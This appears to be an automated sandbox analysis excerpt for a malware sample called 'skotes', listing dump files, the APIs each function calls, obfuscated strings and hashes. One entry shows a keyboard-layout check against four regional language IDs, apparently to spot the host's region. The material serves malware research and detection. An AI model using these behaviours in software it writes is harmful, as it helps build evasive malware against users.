Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$ConnectFileHttpOpenReadRequestSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 923214467-885246636
Opcode ID: 5b7841c1cf8bfe8f161777f7ac82549fcca4a6c4b27d08aa52b2c10c5e22d324
Instruction ID: b8a27a49f365214e7623e6d553419571f8341a2f2381f4c601e97f301281d218
Opcode Fuzzy Hash: 5b7841c1cf8bfe8f161777f7ac82549fcca4a6c4b27d08aa52b2c10c5e22d324
Instruction Fuzzy Hash: 7DB1F3B1601118AFDB24CF28CC84F9EBB69EF85304F508599F909A72D2DB759AC4CF94

Function 00946020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 0094617D
RegEnumValueA.KERNELBASE(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00946271

Strings

00000423, xrefs: 009460FA
00000419, xrefs: 00946098
Keyboard Layout\Preload, xrefs: 00946054
0000043f, xrefs: 0094612B
00000422, xrefs: 009460C9

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: 004347d1f56f97e86d6e420f6bd20ae31d88b85ec0a65e89a3f396a8cb5179f1
Instruction ID: 200220aaafc2570ede76db2ae406ce12fd215fd20b66402b73701f2fdeda02c0
Opcode Fuzzy Hash: 004347d1f56f97e86d6e420f6bd20ae31d88b85ec0a65e89a3f396a8cb5179f1
Instruction Fuzzy Hash: 66B1BEB19002689BDB24DB64CC88BDEB779AF05340F4442D8F508E72D1DB74ABA8CF95

Function 00947D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00947ED3

Strings

JjssPV==, xrefs: 009481E2
JjsrPl==, xrefs: 0094828A
JjsrQV==, xrefs: 00948092
JjssOl==, xrefs: 0094813A

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: 7576411dc052addbec380e030a1b8be7b0e172b6554c0f0d35f4c60c372adb11
Instruction ID: 0a09ba76124350e5639ec82b6ec35499388a5ef1eea832cb0b524635539e24e2
Opcode Fuzzy Hash: 7576411dc052addbec380e030a1b8be7b0e172b6554c0f0d35f4c60c372adb11
Instruction Fuzzy Hash: 81E12970E042149BCB14FBA8DD4BB9E7B61ABC2724F94429CE815673D2DB344F848BC2

Function 009826F2 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 172
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNELBASE(?,00000000,00000000,00000000,?,00996758), ref: 0098275C

Strings

Eastern Standard Time, xrefs: 009827CB
Eastern Summer Time, xrefs: 009827FA

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 565725191-239921721
Opcode ID: bd28804b829513bb30289176d5bdc45e935548f7aee0cb5a1ac4172485153976
Instruction ID: 25ad60730f6d3e80ac20b107867ba4f6ebd4b52459e217b1afc52adbd27e5cef
Opcode Fuzzy Hash: bd28804b829513bb30289176d5bdc45e935548f7aee0cb5a1ac4172485153976
Instruction Fuzzy Hash: 1B510872904215ABDF10FF69DC81AAE77BCEF85310F24456AE920E7391EB349E419B90

Function 00976FB4 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00976EE6), ref: 00976FD6
GetFileInformationByHandle.KERNELBASE(?,?), ref: 00977030
__dosmaperr.LIBCMT ref: 009770C5

Part of subcall function 0097732A: __dosmaperr.LIBCMT ref: 0097735F

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: 828e258e9bdae51be82a495ed8ad788a8b0194c4db47e4d656ecd6b0703ef570
Instruction ID: 84b5c82b4e642ed4717db4dcef9be48396c9ac4da59db0900ca9b793a2b50f87
Opcode Fuzzy Hash: 828e258e9bdae51be82a495ed8ad788a8b0194c4db47e4d656ecd6b0703ef570
Instruction Fuzzy Hash: D7414F76A04204ABDB24DFB5DC45AAFF7F9EF89300B10892DF95AD3211E7349940CB61

Function 00949BA5 Relevance: 4.6, APIs: 3, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 00949BA8
Sleep.KERNELBASE(00000064,?), ref: 0094A963
CreateMutexA.KERNELBASE(00000000,00000000,009A3254), ref: 0094A981

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
